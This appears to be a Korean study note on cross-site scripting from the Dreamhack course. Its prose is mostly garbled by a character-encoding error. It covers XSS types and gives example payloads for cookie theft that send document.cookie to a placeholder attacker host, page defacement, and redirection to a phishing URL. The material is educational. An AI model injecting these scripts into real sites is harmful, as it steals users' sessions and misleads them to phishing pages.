[Dreamhack] ClientSide : Cross Site Scripting (XSS) + Stored XSS + Reflected XSS
2 - 0 - 1. ClientSide : Cross Site Scripting (XSS) + Stored XSS + Reflected XSS
# Cross Site Scripting (XSS) ( = ํด๋ผ์ด์ธํธ ์ฌ์ด๋ ์ทจ์ฝ์ )
: ๊ณต๊ฒฉ์๊ฐ ์น ๋ฆฌ์์ค์ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ์ฌ ํด๋ผ์ด์ธํธ์ ์น ๋ธ๋ผ์ฐ์ ์์ ํด๋น ์คํฌ๋ฆฝํธ๋ฅผ ์คํํ๋ ์ทจ์ฝ์ ์ ๋งํ๋ฉฐ, ์ด์ฉ์๊ฐ ์ฝ์ ํ ๋ด์ฉ์ ์ถ๋ ฅํ๋ ๊ธฐ๋ฅ์์ ๋ฐ์ํจ
+ Cross Site Scripting ์ ๊ฒฝ์ฐ CSS (์คํ์ผ์ํธ)์์ ํผ๋ ๊ฐ๋ฅ์ฑ์ด ์์ด CSS๊ฐ ์๋ XSS๋ก ๋ช ๋ช ํจ
- XSS ์ ์ข ๋ฅ
Stored XSS | Reflected XSS | DOM-based XSS | Universal XSS |
์ฌ์ฉ๋๋ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ ์๋ฒ์ ์ ์ฅ๋๊ณ , ์๋ฒ์ ์๋ต์ ๋ด๊ฒจ์ค๋ XSS |
์ฌ์ฉ๋๋ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ URL์ ์ฝ์ ๋๊ณ , ์๋ฒ์ ์๋ต์ ๋ด๊ฒจ์ค๋ XSS |
์ฌ์ฉ๋๋ ์
์ฑ ์คํฌ๋ฆฝํธ๊ฐ URL Fragment์ ์ฝ์ ๋ XSS์ด๋ค. |
ํด๋ผ์ด์ธํธ์ ๋ธ๋ผ์ฐ์ ๋
๋ธ๋ผ์ฐ์ ์ ํ๋ฌ๊ทธ์ธ์์ ๋ฐ์ํ๋ ์ทจ์ฝ์ ์ผ๋ก, SOP ์ ์ฑ ์ ์ฐํํ๋ XSS์ด๋ค. |
- XSS ์คํฌ๋ฆฝํธ ์์
1. ์ธ์ ๋ฐ ์ฟ ํค ํ์ทจ ๊ณต๊ฒฉ ์ฝ๋
1 <script>
2 alert("hello");
3 document.cookie;
4 alert(document.cookie);
5 document.cookie = "name=test;";
6 new Image().src = "http://hacker.dreamhack.io/?cookie=" + document.cookie;
7 </script>
+ << Line 2 >>
: ๋ฌธ์์ด "hello"์ alert ์คํ
+ << Line 3 >>
: ํ ํ์ด์ง์ ์ฟ ํค๋ฅผ string ํ์ ์ผ๋ก ๋ฆฌํด
+ << Line 4 >>
: ํ ํ์ด์ง์ ์ฟ ํค๋ฅผ ์ธ์๋ก ํ๋ alert ์คํ
+ << Line 5 >>
: ํค๋ฅผ name, ๊ฐ์ test๋ก ํ๋ ์ฟ ํค ์์ฑ
+ << Line 6 ~ 7 >>
: newImage ํจ์ --> ์ด๋ฏธ์ง ์์ฑ ํจ์
: src๋ ์ด๋ฏธ์ง์ ์ฃผ์ ์ง์ & ๊ณต๊ฒฉ์์ ์ฃผ์๋ http://hacker.dreamhack.io/?cookie=๋ก ์ค์
2. ํ์ด์ง ๋ณ์กฐ ๊ณต๊ฒฉ ์ฝ๋
<script>
document;
document.write("Hacked By DreamHack !");
</script>
+ << Line 2 ~ 3 >>
: ์ด์ฉ์์ ํ์ด์ง ์ ๋ณด์ ์ ๊ทผ ํ ๋ณธ ํ์ด์ง์ ๋ฐ์ดํฐ๋ฅผ ์์๋ก ์ฝ์ ํ๊ธฐ ์ํ ์ฝ๋
3. ์์น ์ด๋ ๊ณต๊ฒฉ ์ฝ๋
1 <script>
2 location.href = "http://hacker.dreamhack.io/phishing";
3 window.open("http://hacker.dreamhack.io/")
4 </script>
+ << Line 2 >>
: location.href๋ฅผ ํตํด ์ฌ์ฉ์์ ์์น๋ฅผ ์์๋ก ์ด๋์ํค๋ ์ฝ๋
+ << Line 3 >>
: window.open()์ ํตํด ์ ์ฐฝ์ ๋ถ๋ฌ์ค๋ ์ฝ๋
# Strored XSS
: ์๋ฒ์ database, ํ์ผ ๋ฑ์ ํํ๋ก ์ ์ฅ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ์กฐํํ ๊ฒฝ์ฐ ๋ฐ์ํ๋ XSS๋ก, ๋ถํน์ ๋ค์์๊ฒ ๋ ธ์ถ๋๋ค๋ ํน์ง์ด ์์
# Reflected XSS
: ์๋ฒ๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ํฌํจํ ์์ฒญ์ ์ถ๋ ฅํ ๊ฒฝ์ฐ ๋ฐ์ํ๋ XSS
- Reflected XSS์ ํน์ง
1. Stored XSS์๋ ๋ฌ๋ฆฌ URL ๋ฑ ์ด์ฉ์์ ์์ฒญ์ ์ํด ๋ฐ์ํจ
2. ์ด์ฉ์๊ฐ ์ ์ฑ ์คํฌ๋ฆฝํธ ํฌํจ ์ฌ๋ถ๋ฅผ ์์์ฑ์ง ๋ชปํ๋๋ก Click Jacking, Open Redirect ๋ฑ์ ์ทจ์ฝ์ ๊ณผ ์ฐ๊ณ๋์ด ์ฌ์ฉ